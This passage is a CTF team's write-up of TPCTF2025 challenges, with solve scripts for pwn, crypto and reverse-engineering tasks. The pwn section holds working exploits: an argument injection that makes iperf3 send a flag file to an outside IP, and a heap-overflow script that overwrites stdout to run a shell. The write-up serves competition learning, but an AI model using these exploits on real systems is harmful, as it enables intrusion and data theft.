本次 TPCTF2025,我们XMCVE-Polaris战队排名第14。
排名 | 队伍 | 总分 |
---|---|---|
11 | N1STAR | 6265.6 |
12 | 天枢Dubhe | 6152.02 |
13 | Scr1w | 5838 |
14 | XMCVE-Polaris | 5422 |
15 | Arr3stY0u | 5126.8 |
16 | AAA | 5045.62 |
17 | Xp0int | 4920.48 |
18 | IronW0lf | 4866.32 |
19 | Vidar-Team | 4866 |
20 | 0psu3 | 4741 |
PWN
where is my rop
- login.cgi:
sub_1820
函数对我们的输入进行base64解析,将解析后的内容放入 byte_4100 中,允许输入的最大长度是 1024 ,因此刚好可以溢出到后面的 byte_4300 。 - basement:
sub_3ED0
函数执行了iperf3 -c %s -p %s
,其中两个%s
为用户可控制,因此可以使用iperf3
的-F
参数将 flag 带出。
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')
base64_payload = base64.b64encode((b'110.42.237.28:60105 -F /*9*::\0').ljust(512, b'\0') + p8(9))
payload = f'''
POST /cgi-bin/login.cgi?login HTTP/1.1
Host: 127.0.0.1
User-Agent: Python3
Accept: */*
Authorization: Basic {base64_payload.decode()}
Content-Length: 27
id=111111111111111111111111
'''.strip().replace('\n', '\r\n')
sh = remote('61.147.171.106', 50226)
sh.send(payload.encode())
sh.interactive()
EZDB
函数主要有五个功能点,add_page、dele_page、add_record、dele_record、edit_record.
其中add_page申请了一个0x20大小的Page管理结构体,和一个0x400的堆块作为page,Page管理结构体如下。
add_record会从page中得到一块内存作为record,重点操作如下:
前面有对record_size的判断:
这里的逻辑是record_size+4要小于等于page_remain_size+1,这里很明显存在单字节溢出。
我们可以申请0x400-3大小的record,它是符合这里判断的,之后我们会得到offset=3,size=0x400-3的record,同时record的记录为4字节在offset=0处。
我们edit_record就可以修改上面的HIBYTE(v4)存储的值即size的高位,第二次edit的时候就可以溢出淹没后面的堆块。
因为有个Page管理结构体在堆上,所以利用起来很简单,我们构造如下:
就可以通过page泄露下一个Page Manager上的堆指针,同时我们再edit修改其中的page指针。
调用dele_page释放page指针,实现任意地址free。
gdb调试可以看到堆上是有个大堆块的,我们free他就能得到unsorted bin。
之后利用栈残留泄露libc基地址,二次构造溢出修改page、begin、end指针实现任意地址写,修改stdout结构体打apple即可。
EXP
from pwn import *
def add_page(idx):
p.sendlineafter('>>> ', str(1))
p.sendlineafter('x: ', str(idx))
def dele_page(idx):
p.sendlineafter('>>> ', str(2))
p.sendlineafter('x: ', str(idx))
def add_record(idx, size, content):
p.sendlineafter('>>> ', str(3))
p.sendlineafter('x: ', str(idx))
p.sendlineafter('th: ', str(size))
p.sendafter('ar: ', content)
def show_record(idx, sid):
p.sendlineafter('>>> ', str(4))
p.sendlineafter('x: ', str(idx))
p.sendlineafter('ID: ', str(sid))
def edit_record(idx, sid, size, content):
p.sendlineafter('>>> ', str(5))
p.sendlineafter('x: ', str(idx))
p.sendlineafter('ID: ', str(sid))
p.sendlineafter('th: ', str(size))
p.sendafter('ar: ', content)
p = remote('223.112.5.141', 62497)
elf = ELF('./db')
libc = ELF('./libc.so.6')
add_page(0)
add_page(1)
add_record(0, 0x400-3, p8(0x05)+b'a'*0x100)
add_record(1, 0x10, b'a'*0x10)
show_record(0, 0)
p.recvuntil('ar: ')
p.recv(0x410-3)
heap_base = u64(p.recv(8))-0x12320
print('heap_base: ',hex(heap_base))
payload = b'\x05'+b'\x00'*(0x408-4)+p64(0x31)+p64(heap_base+0x2a0)
edit_record(0, 0, len(payload), payload)
dele_page(1)
add_page(1)
add_page(2)
add_record(2, 0x3f0, b'a'*8)
show_record(2, 0)
p.recvuntil('ar: ')
p.recv(8)
libc.address = u64(p.recv(8))-0x21b460
print('libc:',hex(libc.address))
stdout = libc.address+0x21b780
wfile_jump = libc.address+0x2170c0
fake_io = flat({
0x0:b' sh',
0xa0:p64(stdout),
0x10:p64(libc.symbols['system']),
0x20:p64(stdout),
0xd8: p64(wfile_jump + 0x48 - 0x38),
0x88:p64(stdout-0x30),
0xe0:p64(stdout-8),
},filler=b'\x00')
payload = b'\x05'+b'\x00'*(0x408-4)+p64(0x31)+p64(stdout-0x10)+p64(stdout-0x10)+p64(stdout+0xe8)+p64(stdout-0x10)
edit_record(0, 0, len(payload), payload)
add_record(1, 0xf0-4, b'a'*4+fake_io)
p.interactive()
CRYPTO
randomized random
print(random.getrandbits(32)+flag[random.getrandbits(32)%len(flag)])
可以看作一次交互给出两个getrandbits(32)中前者的高24bit(实际测试会发现,加上flag的某一个值之后,会影响到低20bit,所以后面取了12bit,这就导致需要的数据更多,矩阵规模变大)
这其实就是不连续的MT19937考点,需要造矩阵。参考:huangx607087/Explore-MT19937
在得到state之后,意味着下式的a,b我们都知道了
爆破length,在数据足够多的情况下可以恢复flag
恢复state
from pwn import *
from sage.all import *
from tqdm import *
import random
unknow_bit = 20
sh = remote('1.95.57.127', 3001)
with open('./real_data.txt', 'w') as f:
# for i in trange(19968 // (32 - unknow_bit)):
for i in trange(2500):
f.write(sh.recvline().decode())
sh.sendline(b'xmcve')
print('数据获取完毕')
RNG = random.Random()
Dall = list(map(int, open('real_data.txt', 'r').readlines()))
Dall = [(i >> unknow_bit) << unknow_bit for i in Dall]
length = len(Dall)
print(length)
def construct_a_row(RNG):
row = []
for i in range(length):
a = RNG.getrandbits(32)
b = RNG.getrandbits(32)
row += list(map(int, bin(a >> unknow_bit << unknow_bit)[2:].zfill(32)))
return row
print("开始构造T矩阵")
T = []
for i in trange(19968):
state = [0] * 624
temp = "0" * i + "1" * 1 + "0" * (19968 - 1 - i)
for j in range(624):
state[j] = int(temp[32 * j:32 * j + 32], 2)
RNG.setstate((3, tuple(state + [624]), None))
T.append(construct_a_row(RNG))
T = Matrix(GF(2), T)
print(T.rank())
print("T矩阵构造完毕")
y = []
print("开始构造y向量")
for i in trange(length):
y += list(map(int, bin(Dall[i])[2:].zfill(32)))
y = vector(GF(2), y)
print("y向量构造完毕")
s = T.solve_left(y)
print("求解完毕")
G = []
for i in range(624):
C = 0
for j in range(32):
C <<= 1
C |= int(s[32 * i + j])
G.append(C)
RNG1 = random.Random()
for i in range(624):
G[i] = int(G[i])
RNG1.setstate((int(3), tuple(G + [int(624)]), None))
print('state: ', (int(3), tuple(G + [int(624)]), None))
temp = []
for i in range(20):
a = RNG1.getrandbits(32)
b = RNG1.getrandbits(32)
temp.append(a >> unknow_bit << unknow_bit)
print(temp)
print(Dall[:20])
如果T矩阵的秩不够大的情况下,恢复的state是不正确的。数据量一大就导致内存不够用。
求flag
import random
import string
table = string.printable[:-6]
RNG = random.Random()
Dall = list(map(int, open('real_data.txt', 'r').readlines()))
state = (3, (2147483648, 2938351286, 983961062, 1377414612, 2340578464, 2029094667, 1756003747, 3603977491, 2298953755, 1774755199, 1940120296, 664966565, 680139509, 3175303219, 1272245255, 2334681800, 4080679718, 4112169696, 2047083706, 4229572283, 3474166640, 992203239, 4177788370, 677192150, 1801694814, 1050947546, 2754102008, 2335707469, 1446881541, 2207621956, 175137268, 4149751610, 4138056279, 3313024360, 133148655, 97359402, 725951987, 2415034365, 4143651374, 758020228, 3486101728, 1763010333, 3705559464, 1212580247, 301411470, 873062078, 2488959278, 1689177684, 1513374848, 233721491, 1920403367, 1818889418, 4242657088, 3608765588, 1357009912, 1613444912, 2511162952, 412572684, 307184275, 68731362, 785311899, 504004798, 4160078560, 2000494845, 2783899303, 2251652250, 2539687987, 498349046, 3761736798, 653908615, 2441568119, 1963112756, 1169460280, 4238002019, 2492820822, 2379165321, 236913030, 941771073, 3118582859, 4177241872, 3385775396, 866615466, 3034260342, 3931734163, 2578100747, 3142582605, 1806859365, 1605503563, 662094221, 1141986658, 1892968001, 1592378653, 4199941182, 4021546935, 1983669830, 1746760570, 943118369, 1535288703, 2172803919, 3072682653, 3490749922, 143567687, 2495441905, 3872720887, 3241199084, 1567976697, 1608608986, 710504190, 1327210388, 452362779, 1615818367, 3223824369, 2854414851, 3359768871, 235034647, 3858179505, 3227030063, 1598198767, 1194321185, 271471413, 2107887394, 2559166768, 1002096011, 2197138314, 3897785599, 3105023530, 1121408527, 404697844, 2681074030, 1620419924, 3916367611, 2521321279, 612611838, 1026232399, 1106261903, 1857283107, 536971160, 3842950698, 319512488, 3156467537, 4215448564, 3243925496, 3930672048, 2516946812, 106265645, 4038727366, 3156817598, 3676721337, 3487534880, 4002955607, 1987441968, 3960833111, 2932082444, 1498151705, 3464508133, 1981340560, 3748080806, 148708229, 2262167057, 1855883381, 1869268258, 1858155537, 17550392, 4059639439, 4206328451, 1503247839, 4091457140, 3046000298, 2996223407, 844503663, 3096951106, 3563117461, 202483231, 2306463055, 1305420337, 2385877863, 864655931, 3489432835, 988422242, 2650823644, 3812531245, 3859102209, 1546408730, 1319146799, 2317943091, 1576224288, 1138761335, 3054145490, 3762433562, 1001672492, 2218885548, 4026649779, 1053326181, 121206065, 1890833318, 915942531, 3714456446, 3130921259, 951802615, 1070415781, 3614377234, 1147885984, 4278915957, 134774000, 412221005, 895932225, 3294991187, 541615016, 1236024342, 2571798701, 541483137, 1129698684, 1265412763, 2418753069, 2709263061, 585855008, 3574058805, 637968802, 2837473688, 1220889023, 448293436, 1044670811, 786232579, 846443904, 3144362712, 1012384520, 2209491099, 1047343191, 2886615799, 2596471556, 122279812, 2667462834, 1997682659, 3898177482, 67694141, 23320135, 1755947460, 598415033, 2654929322, 57957890, 2454922100, 3507404789, 1846167663, 1420567386, 2148914740, 1645039752, 3048031422, 567816399, 783741421, 999326063, 3086260039, 2158110500, 4258084946, 2836689928, 2276640230, 2920104452, 874275418, 3388188583, 4250312994, 2611736976, 2408763388, 3400914965, 1574944129, 4106324462, 2844718166, 457076585, 1980501265, 3925053602, 739850189, 4285364158, 2886133023, 2414827566, 342138241, 2309767159, 53900460, 2542780491, 121336283, 3766893491, 769130332, 4105715542, 593320502, 3988727155, 1525583257, 2431824911, 685791786, 4201549413, 1956612686, 3126554872, 3869608906, 1731909863, 4187490113, 577896113, 4069250007, 1474270346, 271439259, 629147395, 600335368, 3850868746, 2414669308, 2383509550, 64466199, 814308261, 3594807932, 1435498205, 802684846, 2282024825, 3480793168, 2063257251, 2860383623, 2210942360, 1669867493, 853877397, 924873177, 2424810117, 2909846482, 3615916019, 832334717, 3405279654, 1969043638, 2549592943, 3943809965, 1480786658, 3341948592, 1996326007, 128593545, 4109231770, 2387919651, 654993640, 253145649, 2956249345, 1226516591, 952923799, 1356283620, 4161211148, 1254787881, 4209440111, 151156432, 4111302931, 1998290868, 1226592237, 1907508368, 3416658890, 251833537, 3518024278, 2124405149, 2420790799, 531952425, 2933697279, 580257479, 763538451, 704680592, 3707273586, 1240034059, 3078540258, 19935341, 3655817217, 628170136, 2945669005, 4175341147, 2882466436, 174692274, 3223641125, 686603734, 942174165, 490863961, 456771670, 3857548297, 2956957837, 380925679, 1511625344, 1444175885, 2408753985, 1396628453, 2621857825, 978064337, 3299329616, 1663004740, 742967711, 2704140187, 2144373929, 1196205771, 570556470, 1481508645, 3128135676, 394417282, 308182369, 360454193, 4046908531, 1967349139, 3122308380, 2185351432, 747717907, 3424524152, 437529098, 4044070038, 2694712614, 3154615320, 1340615266, 603129791, 2268462640, 3290996515, 1401083500, 1830213512, 1347873991, 2631712424, 808187092, 3382759744, 2218468839, 3733940743, 4100778868, 2812633850, 3566122785, 2072621099, 3496671216, 3441539245, 107169851, 1857300714, 1148459143, 3967146459, 3696100475, 1820081478, 3988199380, 412556378, 901569663, 4163069092, 3229816740, 3574118042, 3986229728, 311643534, 902425575, 663832871, 1904752408, 1338929844, 2114136687, 3270527331, 718482387, 317992066, 2533986459, 4050753854, 551001831, 2806191130, 2125051077, 673958059, 3778141530, 1232808332, 3807666979, 832433391, 906864965, 3554603973, 2882081386, 3991759250, 2202058991, 3226474967, 3996354506, 3332175345, 3003974730, 3444366290, 3191493655, 3325993269, 1107923061, 2039058722, 2919046140, 883866961, 48421825, 650878747, 525835204, 1088742243, 3307992973, 730183318, 1025760506, 3298999916, 1921927537, 1015803029, 3312751987, 4143493976, 3850682509, 1631083748, 272830459, 1109674131, 1839430947, 1968816208, 879391174, 1289303066, 3818281165, 4031756894, 1700656843, 4115051764, 958573023, 1483117762, 2428566357, 1579815121, 787652912, 549804702, 2915663345, 570719535, 2758566063, 2395472683, 1837388467, 2692565403, 818529520, 1164474089, 2518762291, 545735395, 2583854693, 1321850673, 1276210126, 140789820, 756023887, 3516321408, 1039538263, 2700447004, 1119743273, 3631713605, 2665423697, 3668740252, 1699031217, 962793530, 2564977699, 2230278585, 2916273892, 3152226294, 3613592233, 2298902512, 3704850004, 1793113637, 195072103, 2929310897, 2652516913, 2480356929, 2299667300, 1317241732, 3327720511, 2545277349, 2481433538, 1779675667, 1522258654, 1265821857, 3549371168, 1266405659, 3158482938, 3423919465, 2067414334, 1188032020, 3983483806, 131911524, 1134110138, 612172872, 1968776034, 861683379, 3803678675, 4238732903, 1079514494, 200452030, 1284884589, 2693415241, 2707784640, 3519955898, 3110776523, 1240495214, 1486374376, 2777214968, 2284592337, 3267989328, 2862685591, 681810543, 2005142745, 2763374176, 1295501880, 221385700, 3907812524, 477692539, 3913491728, 1619746686, 1191196152, 2120015792, 3531133980, 232146103, 3145826123, 3422488314, 2222290057, 2913440968, 3807360829, 3021911262, 2107435786, 807005194, 1427383695, 2624235418, 2966732055, 3078437067, 4097129682, 1309651635, 2663416892, 2769402502, 1488464248, 3315834957, 1367480981, 3739793022, 2812804608, 3946586271, 1578011618, 365000619, 2315425544, 4120327077, 2279405238, 3904731682, 3310522568, 785903685, 1937602500, 1330480940, 478449660, 3376516509, 1977672860, 2389914447, 2339028017, 2510470610, 492087132, 457869913, 893281893, 2928086441, 2867436592, 2433248535, 2569395293, 2388114729, 110480196, 624), None)
RNG.setstate(state)
flags = []
index = []
for i in range(len(Dall)):
a = RNG.getrandbits(32)
b = RNG.getrandbits(32)
tmp_flag = Dall[i]-a
if 0< tmp_flag<255 and chr(tmp_flag) in table:
flags.append(tmp_flag)
index.append(b)
for flag_len in range(len(set(flags)), 100):
tmp_index = [i%flag_len for i in index]
tmp_flag = []
for i in range(flag_len):
if i in tmp_index:
tt = tmp_index.index(i)
tmp_flag.append(flags[tt])
else:
tmp_flag.append(ord('?'))
tmp_flag = bytes(tmp_flag)
if tmp_flag.startswith(b'TPCTF{'):
print(tmp_flag) # TPCTF{Ez_MTI9937_pr3d1cTi0n}
nanonymous msg
直接复制题面信息,放到CyberChef中To Hex可以看到隐藏的信息
参考链接:
https://www.utf8-chartable.de/unicode-utf8-table.pl?start=917760
在上面参考链接中找到了类似的四字节十六进制值,猜测与本题有关系
用以下代码将四字节的十六进制值转为VARIATION SELECTOR-
后的十进制值
# hex_data = "f3a08480"
hex_data = "f3a08796f3a08696f3a0849ff3a08796f3a08597f3a086abf3a085aff3a086a7f3a085aef3a084aef3a087a6f3a0879bf3a084a3f3a086a4f3a084a7f3a0879bf3a084aaf3a085a3f3a087acf3a086a6f3a084aaf3a086a7f3a085aef3a0879bf3a084a7f3a086aaf3a0879bf3a085aff3a087aef3a085aef3a087acf3a087acf3a0879bf3a087a6f3a084a2f3a085aef3a0879bf3a085a7f3a085a2f3a084aef3a085aff3a0879bf3a087aff3a086a7f3a084aaf3a087a6f3a085aef3a087aef3a086a6f3a0879bf3a086a4f3a085a7f3a0879bf3a086a7f3a086a4f3a087aef3a087a6f3a085aef3a086a7f3a0879bf3a085a3f3a084aaf3a084aaf3a0879bf3a085a7f3a086a7f3a086a4f3a085aaf3a0879bf3a085a6f3a085aef3a085a7f3a084aff3a086a4f3a085a3f3a0879bf3a084aff3a087a6f3a085a7f3a0879bf3a086a5f3a086a4f3a086a5f3a086a5f3a0879bf3a086aef3a087aef3a084aef3a085a2f3a087acf3a087aa"
data = bytes.fromhex(hex_data)
res = data.decode()
dic = {}
for item in res:
tmp = ord(item)-0xe0100+17
print(tmp, end=" ")
if tmp not in dic:
dic[tmp] = 1
else:
dic[tmp] += 1
print(dic)
转换后可以得到如下内容
231 167 48 231 104 188 128 184 127 63 247 236 52 181 56 236 59 116 253 183 59 184 127 236 56 187 236 128 255 127 253 253 236 247 51 127 236 120 115 63 128 236 256 184 59 247 127 255 183 236 181 120 236 184 181 255 247 127 184 236 116 59 59 236 120 184 181 123 236 119 127 120 64 181 116 236 64 247 120 236 182 181 182 182 236 191 255 63 115 253 251
除去flag格式对应的密文,映射成字母
data = '231 167 48 231 104 188 128 184 127 63 247 236 52 181 56 236 59 116 253 183 59 184 127 236 56 187 236 128 255 127 253 253 236 247 51 127 236 120 115 63 128 236 256 184 59 247 127 255 183 236 181 120 236 184 181 255 247 127 184 236 116 59 59 236 120 184 181 123 236 119 127 120 64 181 116 236 64 247 120 236 182 181 182 182 236 191 255 63 115 253 251'
data = [int(i) for i in data.split(' ')][6:-1]
print(data)
dict1 = {}
cs = data
# 构建字典
for i in cs:
if i not in dict1:
dict1[i] = chr(len(dict1) + ord('a'))
print(dict1)
# 映射
tmp = ''
for i in cs:
tmp += dict1[i]
print(tmp.replace(dict1[236], ' ')) # 下划线断句
单表替换,放到quipquip里,得到great job inspire by guess the flag writeup of router nii from cefkon ktf dodd quals
前面明显有意义,但后面没解出来,检索发现题目原型
文章题目符合格式,故可确定为great job inspire by guess the flag writeup of router nii from defcon ctf 2022 quals
通过密文格式(其实上叙文章里也提到了),能确认flag里的内容应该是小写,且flag里的o
都该改成0
,提交后不对。
于是尝试其他CTF数字代换(leet),s
换成5
时得解
data = '231 167 48 231 104 188 128 184 127 63 247 236 52 181 56 236 59 116 253 183 59 184 127 236 56 187 236 128 255 127 253 253 236 247 51 127 236 120 115 63 128 236 256 184 59 247 127 255 183 236 181 120 236 184 181 255 247 127 184 236 116 59 59 236 120 184 181 123 236 119 127 120 64 181 116 236 64 247 120 236 182 181 182 182 236 191 255 63 115 253 251'
data = [int(i) for i in data.split(' ')][6:-1]
dict1 = {}
cs = data
# 构建字典
for i in cs:
if i not in dict1:
dict1[i] = chr(len(dict1) + ord('a'))
# 映射
tmp = ''
for i in cs:
tmp += dict1[i]
print(tmp.replace(dict1[236], ' ')) # 下划线断句
a = "TPCTF{great_job_inspire_by_guess_the_flag_writeup_of_router_nii_from_defcon_ctf_2022_quals}"
a = a.replace('o', '0')
a = a.replace('s', '5')
assert len(set([i for i in a])) == 30
print(a) # TPCTF{great_j0b_in5pire_by_gue55_the_flag_writeup_0f_r0uter_nii_fr0m_defc0n_ctf_2022_qual5}
RE
potable
一个MBR程序
使用binwalk -Me可以分离出一个X86 64的PE文件和ARM架构的ELF文件
写脚本提取出来
f = open("portable_ef3c5f3a7155c5a4c6f0b08606dea575.exe","rb").read()
exe_data= f[0x9C000:]
open("dump","wb").write(exe_data)
print("end!!!!!!!")
exe_data= f[0x10000:]
open("dump.exe","wb").write(exe_data)
print("end!!!!!!!")
分析ELF文件 根据交叉引用发现关键
写脚本解密即可
data =[ 0x34, 0x2A, 0x42, 0x0E, 0x00, 0x1D, 0x5C, 0x33, 0x5E, 0x44,
0x3E, 0x1A, 0x0B, 0x5C, 0x2C, 0x3A, 0x5F, 0x22, 0x03, 0x28,
0x36, 0x1B, 0x07, 0x31, 0x8D, 0xDE, 0x10, 0xA2, 0xEB, 0xB2,
0xDA, 0xA2, 0xD8, 0x18, 0x0D, 0x17, 0x1C, 0x1F, 0xBD, 0xD9,
0x1D, 0xBF, 0xEB, 0xA2, 0xD8, 0x16, 0x0D, 0xA0, 0xF6, 0x30,
0xBD, 0xD8, 0x17, 0xBE, 0xDA, 0x0F, 0xAB, 0xC1, 0xAE, 0xEA,
0x8D, 0xDE, 0x11, 0x01, 0xA1, 0xC5
]
flag = []
print(len(data))
key = b"Cosmopolitan"
for i in range(66):
flag.append(data[i]^key[i%12])
flag = b"TPCTF{"+bytes(flag)+b"}"
# 要运行的程序路径
program_path = "./portable_ef3c5f3a7155c5a4c6f0b08606dea575.exe" # 替换为你的程序路径
# 要发送给程序的输入数据
input_data = b"Hello, World!\n" # 替换为你的输入数据
print(flag.decode())
magicfile
文件给的主要是libmagic编译的程序 其中加载了自定应的二进制类型的mgc文件
可以参考2023 *CTF的一个类似题目
从程序提取出mgc文件 第二个参数是地址 第三个参数是size
写脚本解析 输出所有规则后 找0x2F为}的
import struct
import string
f = open('./dump', 'rb')
#f = open('./test.magic.mgc', 'rb')
b = f.read(0x178)
indexes = []
table = ''
while True:
b = f.read(0x178)
if len(b) != 0x178:
break
line = b[:0x30]
_type = line[6]
text = b[0xa0:].decode()
if("Try again" in text):
text = "Try again"
else:
text = ""
off = struct.unpack_from('<I', line, 0x0c)[0]
s = f'type: {_type:02X}, off: {off:02X}, text = '+text.strip()
if _type == 5:
s += ', str: '+line[0x20:].decode()
print(s)
elif _type == 1:
n1, n2 = line[0x18], line[0x20]
v = n1 ^ n2
s += f', byte: {n1:02X} {n2:02X} {v:02X} {chr(v)}'
table += chr(v)
if("Try again" in text):
print(s)
# elif _type==3:
# if("Try again" not in text):
# print(s)
# s+=f', default '
# print(s)
flag = """type: 01, off: 07, text = , byte: 00 6F 6F o
type: 01, off: 08, text = , byte: 00 55 55 U
type: 01, off: 09, text = , byte: 00 5F 5F _
type: 01, off: 0A, text = , byte: 00 41 41 A
type: 01, off: 0B, text = , byte: 00 52 52 R
type: 01, off: 0C, text = , byte: 00 33 33 3
type: 01, off: 0D, text = , byte: 00 5F 5F _
type: 01, off: 0E, text = , byte: 00 53 53 S
type: 01, off: 0F, text = , byte: 00 4F 4F O
type: 01, off: 10, text = , byte: 00 5F 5F _
type: 01, off: 11, text = , byte: 00 35 35 5
type: 01, off: 12, text = , byte: 00 6D 6D m
type: 01, off: 13, text = , byte: 00 40 40 @
type: 01, off: 14, text = , byte: 00 52 52 R
type: 01, off: 15, text = , byte: 00 37 37 7
type: 01, off: 16, text = , byte: 00 5F 5F _
type: 01, off: 17, text = , byte: 00 54 54 T
type: 01, off: 18, text = , byte: 00 4F 4F O
type: 01, off: 19, text = , byte: 00 5F 5F _
type: 01, off: 1A, text = , byte: 00 63 63 c
type: 01, off: 1B, text = , byte: 00 52 52 R
type: 01, off: 1C, text = , byte: 00 41 41 A
type: 01, off: 1D, text = , byte: 00 43 43 C
type: 01, off: 1E, text = , byte: 00 6B 6B k
type: 01, off: 1F, text = , byte: 00 5F 5F _
type: 01, off: 20, text = , byte: 00 54 54 T
type: 01, off: 21, text = , byte: 00 68 68 h
type: 01, off: 22, text = , byte: 00 31 31 1
type: 01, off: 23, text = , byte: 00 24 24 $
type: 01, off: 24, text = , byte: 00 5F 5F _
type: 01, off: 25, text = , byte: 00 6D 6D m
type: 01, off: 26, text = , byte: 00 40 40 @
type: 01, off: 27, text = , byte: 00 39 39 9
type: 01, off: 28, text = , byte: 00 69 69 i
type: 01, off: 29, text = , byte: 00 43 43 C
type: 01, off: 2A, text = , byte: 00 5F 5F _
type: 01, off: 2B, text = , byte: 00 66 66 f
type: 01, off: 2C, text = , byte: 00 31 31 1
type: 01, off: 2D, text = , byte: 00 6C 6C l
type: 01, off: 2E, text = , byte: 00 65 65 e
type: 01, off: 2F, text = , byte: 00 7D 7D }
"""
for i in flag.split("\n"):
print(i[-1],end='')
#TPCTF{oU_AR3_SO_5m@R7_TO_cRACk_Th1$_m@9iC_f1le}}
#少了一位 猜一下是 Y
chase
nes逆向使用FCEUX打开运行,发现就是一个吃豆人游戏,一共三段flag,第一段flag需要通关游戏将0x83地址处的内存改为0,这个地址存放的是每一关需要吃到豆的数量
第三段flag直接使用PPU Viewer就可以看见
第二段有点misc的感觉,猜测也是在内存里面只不过不会加载到屏幕上,由于每段flag开头都会有THE FLAG PT我们搜索这几个字符的tile 34 28 25,一共发现两个其实一个是第一段flag,tile D2就是代表字符2 D1也就是字符1
获取到映射关系使用tile查找一下即可获得flag
import binascii
data = "34282500262C21270030340ED200262F3200392F35002933000112A4000118302C2139D12ED93DD6202DD3333D"
data = binascii.a2b_hex(data)
table = {}
str_1 = ord("A")
for i in range(0x21,0x3B):
table[i] = chr(str_1)
str_1 += 1
table[0x20] = "@"
table[0] = " "
table[0x3d] = "_"
str_1 = ord("0")
for i in range(0xD0,0xDA):
table[i] = chr(str_1)
str_1 += 1
flag = ""
for i in range(len(data)):
for key,value in table.items():
if data[i] == key:
flag += value
print(flag)
stone-game
一个捡石子游戏AI脑袋尖尖的,规则为谁最先捡完所有的石头谁赢,题目给了源码py打包成macos的可执行文件,不过没啥用,玩了一下发现第一清空四堆石子AI每次都会清空其余三堆中的任意一堆,那么我们只需要清除最后两堆即可。安装这个逻辑写pwntools交互脚本即可。
from pwn import *
import sys
context(log_level="debug")
# 服务器地址和端口
HOST = "1.95.128.179"
PORT = 3040
# 游戏逻辑常量
MAX_STONES = 100
TOTAL_ROUNDS = 100
WIN_THRESHOLD = 90
def get_data(io):
# 获取当前游戏状态
io.recvuntil(b"Current stone count:\n")
stones = []
for i in range(7):
line = io.recvline().decode().strip()
print(line)
stones.append(int(line.split(":")[1].split()[0]))
return stones
def get_str(stones):
move = ""
for i in range(4):
move += str(stones[i]) + " "
move += "0 0 0"
return move
def play_game(io):
# 初始化游戏
io.recvuntil(b"Press Enter to start...")
io.sendline(b"\n") # 开始游戏
player_wins = 0
for round_num in range(1, TOTAL_ROUNDS + 1):
stones = get_data(io)
move = get_str(stones)
io.recvuntil(b"0 1 0 2 0 0 0):\n")
io.sendline(move.encode() + b"\n")
io.recvuntil(b"AI is thinking...")
ai_move_line = io.recvline().decode().strip()
log.info(f"AI move: {ai_move_line}")
stones = get_data(io)
move1 = ""
for i in range(7):
move1 += str(stones[i]) + " "
move1 = move1[:-1]
io.sendline(move1.encode() + b"\n")
# 检查游戏结果
io.recvuntil(b"Current player:")
if b"You won this round!" in io.recvline():
player_wins += 1
log.info("Player won this round!")
else:
log.info("AI won this round!")
log.info(f"Score after round {round_num}: {player_wins}/{round_num}")
if round_num < TOTAL_ROUNDS:
io.recvuntil(b"Next round starting in 2 seconds...")
time.sleep(2)
io.recvuntil(b"=== Challenge Complete ===")
final_score = io.recvline().decode().strip()
log.info(f"Final score: {final_score}")
if player_wins >= WIN_THRESHOLD:
flag = io.recvline().decode().strip()
log.success(f"Flag: {flag}")
else:
log.failure("Failed to win enough rounds to get the flag.")
def main():
io = remote(HOST, PORT)
try:
play_game(io)
except Exception as e:
log.error(f"Error: {e}")
finally:
io.close()
if __name__ == "__main__":
main()
linuxpdf
题目下载下来是一个pdf,里面有一段js代码如下,遍历字典中的key获取对应的值去进行Base64解码和解压缩算法
我们复现一下这个算法得出所有的文件,解压出来貌似是一个RISC-V 64架构的虚拟机
import base64
import zlib
def base64_decode_and_inflate(encoded_data):
try:
compressed_data = base64.b64decode(encoded_data)
try:
decompressed_data = zlib.decompress(compressed_data)
print("数据格式: zlib")
except zlib.error:
try:
decompressed_data = zlib.decompress(compressed_data, 16 + zlib.MAX_WBITS)
print("数据格式: gzip")
except zlib.error:
try:
decompressed_data = zlib.decompress(compressed_data, -zlib.MAX_WBITS)
print("数据格式: raw deflate")
except zlib.error as e:
print(f"解压缩失败: {e}")
return None
return decompressed_data
except Exception as e:
print(f"解压缩失败: {e}")
return None
with open(r"C:\Users\ZhuanZ\Desktop\linux.pdf",'r') as f:
res = f.read()
start_index = res.find("\"vm_64.cfg\"")
ret = res[start_index:res.find("for \\(let filename i")][:-4]
list_1 = ret.split(", ")
for i in range(len(list_1)):
ret = list_1[i].split(": ")[0].replace("\"","")
data = list_1[i].split(": ")[1].replace("\"","")
res = base64_decode_and_inflate(data)
with open(f"{ret}","wb") as f1:
f1.write(res)
在files目录下找纯一个一个看看elf开头的文件,找到一个a9的文件
通过字符串定位和代码分析可以发现是一个md5加密,加密流程是从第n个下表开始加密后续所有的字符。
爆破的时候需要从最后一组开始爆破,我是使用cmd5爆破出最后一组了然后从倒数第二组开始爆破即可。
from hashlib import md5
enc = [56, 248, 138, 59, 197, 112, 33, 15, 138, 141, 149, 88, 91, 70, 176, 101, 0, 131, 5, 90, 232, 12, 220, 139, 213, 147, 120, 184, 98, 141, 115, 63, 203, 0, 250, 125, 175, 251, 215, 172, 236, 19, 176, 105, 93, 147, 90, 4, 188, 15, 0, 194, 156, 192, 253, 56, 1, 199, 253, 211, 21, 199, 130, 153, 155, 212, 203, 0, 43, 162, 208, 26, 241, 45, 155, 227, 26, 43, 68, 50, 60, 26, 79, 71, 0, 221, 238, 186, 240, 2, 82, 122, 158, 173, 120, 189, 22, 104, 69, 115, 204, 0, 191, 149, 184, 153, 52, 161, 181, 85, 225, 9, 15, 236, 223, 211, 218, 159, 0, 182, 66, 44, 48, 176, 41, 56, 83, 95, 142, 100, 141, 96, 168, 123, 148, 0, 8, 193, 183, 102, 67, 175, 141, 213, 12, 176, 109, 127, 221, 60, 248, 237, 0, 66, 214, 151, 25, 249, 112, 136, 240, 101, 64, 244, 18, 220, 23, 6, 251, 0, 161, 242, 61, 166, 22, 21, 64, 14, 123, 217, 234, 114, 214, 53, 103, 235, 0, 78, 36, 111, 10, 93, 211, 206, 89, 70, 95, 243, 208, 46, 196, 249, 132, 0, 184, 207, 37, 249, 99, 232, 233, 244, 195, 253, 218, 52, 246, 240, 26, 53, 0, 45, 152, 216, 32, 131, 92, 117, 169, 249, 129, 173, 77, 184, 38, 191, 142, 0, 112, 46, 173, 8, 163, 221, 86, 179, 19, 76, 124, 56, 65, 166, 82, 170, 0, 210, 213, 87, 182, 19, 102, 43, 146, 243, 153, 214, 18, 251, 145, 89, 30, 0, 228, 66, 43, 99, 32, 237, 152, 158, 126, 60, 185, 127, 54, 156, 186, 56, 0, 113, 128, 53, 134, 198, 112, 89, 221, 163, 37, 37, 206, 132, 76, 80, 121, 0, 131, 179, 